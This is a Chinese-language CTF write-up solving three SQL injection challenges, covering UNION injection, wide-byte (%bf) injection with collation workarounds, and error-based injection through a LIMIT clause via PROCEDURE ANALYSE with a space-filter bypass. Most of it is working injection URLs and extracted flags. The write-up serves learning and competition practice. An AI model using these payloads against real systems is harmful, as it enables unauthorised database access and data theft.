零、前言
前段时间做了极客大挑战的CTF题目,比较简单,非常适合新手学习。其中的Web有三道注入题出的非常好,代表php注入的三种常见类型,这里我写个Writeup总结下。
一、sqli1
简单的php注入,以下payload得到flag
http://sql.sycsec.com/5f3b974ef6337582f2eeb8da24059c7a/?uid=1%20union%20select%20flag%20from%20flag%20#
SYC{Sql_Inject10n_0n3_ppp}
二、sqli2
宽字节注入,在参数uid=1后面加上%bf即可正常手注
获取数据库名:
http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf' union select database() --+
sql2
但是再进一步获取信息的时候遇到如下错误
Illegal mix of collations for operation 'UNION'
其原因是union两端的select查询的数据编码不一致造成的,找到三个可以解决此问题的函数
1.unhex(hex(table_name)) 2.aes_decrypt(aes_encrypt(table_name,1),1) 3.binary(table_name)
获取表名:
http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf' union select (select group_concat(binary(table_name)) from information_schema.tables where table_schema=database())--+
[key_flag],content
获取字段名:
http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf' union select (select group_concat(binary(column_name)) from information_schema.columns where table_name=0x5B6B65795F666C61675D) --+
id,key_flag
在尝试获取数据的时候又遇到一个问题,总是出现语法错误,例如这样的语句
http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf' union select key_flag from [key_flag]--+
为什么这样呢,在数据库(至少mysql和sqlserver会这样)中中括号有特殊的含义,它们是用来标记要查询的表或字段,以避免其被视为数据库中的关键字。比如,一个表名叫user,user在sqlserver中属于关键字,那么查询的时候必须要这样:
select * from [user]
如果一个表名本身存在[]的话,直接放到数据库中查询会出现语法错误,即使是创建一个带中括号的表也会出现语法错误。
那么看一下phpmyadmin怎么处理这样的问题
可以看到表[person]被一对“单引号”标记了(这是Esc键下面的那个键),所以构造如下注入语句,可获得flag
获取数据:
http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf' union select key_flag from `[key_flag]`--+
SYC{L0ve_Sql_Inj3ct10n_akak}
二、sqli3
打开之后是一副图片,源代码中是图片的路径
用16进制工具查看,发现存在lalala=,那估计真正的注入参数就是这个。
访问之后的效果
单引号测试出错,另外发现过滤了空格,使用%0b可绕过。后续的测试中无论怎么测试都会出现语法错误,跟常规的注入类型反应完全不一样,但肯定是存在注入的。然后直接上了union select 语句,出现了如下的错误,
Incorrect usage of union and order by
查了一下,应该是lalala参数不在where字句里,很有可能在limit参数里,limit后面不能直接接union,根据的下面的paper找到方法。
http://blog.csdn.net/gtuu0123/article/details/5248202
http://www.waitalone.cn/mysql-limit-injection.html
获取数据库版本
http://sql.sycsec.com/d07127c7c9267637d554c3f79e1ee203/?lalala=1%0bprocedure%0banalyse(extractvalue(rand(),concat(0x3a,version())),1)
XPATH syntax error: ':5.5.18.1-log'
获取数据库名
http://sql.sycsec.com/d07127c7c9267637d554c3f79e1ee203/ ?lalala=1%0bprocedure%0banalyse(extractvalue(rand(),concat(0x3a,database())),1)
获取表名
http://sql.sycsec.com/d07127c7c9267637d554c3f79e1ee203/ ?lalala=1%0bprocedure%0banalyse(extractvalue(rand(),concat(0x3a,(select%0bgroup_concat(table_name)%0bfrom %0binformation_schema.tables%0bwhere%0btable_schema=database() ))),1)
#flag_this,content
获取字段名:
http://sql.sycsec.com/d07127c7c9267637d554c3f79e1ee203/ ?lalala=1%0bprocedure%0banalyse(extractvalue(rand(),concat(0x3a,(select%0bgroup_concat(column_name)%0bfrom %0binformation_schema.columns%0bwhere%0btable_name=0x23666C61675F74686973 ))),1)
id,flag
在表名这里还有一个坑,表名里有#,那么会被理解成注释符,获取数据时会出现语法错误。方法是使用“字符转义,另外#要url编码,获取flag
http://sql.sycsec.com/d07127c7c9267637d554c3f79e1ee203/?lalala=1%0bprocedure%0banalyse(extractvalue(rand(),concat(0x3a,(select%0bflag%0bfrom%0b`%23flag_this`))),1)
SYC{S0_Happy_Y0u_ar3_0rz}
6!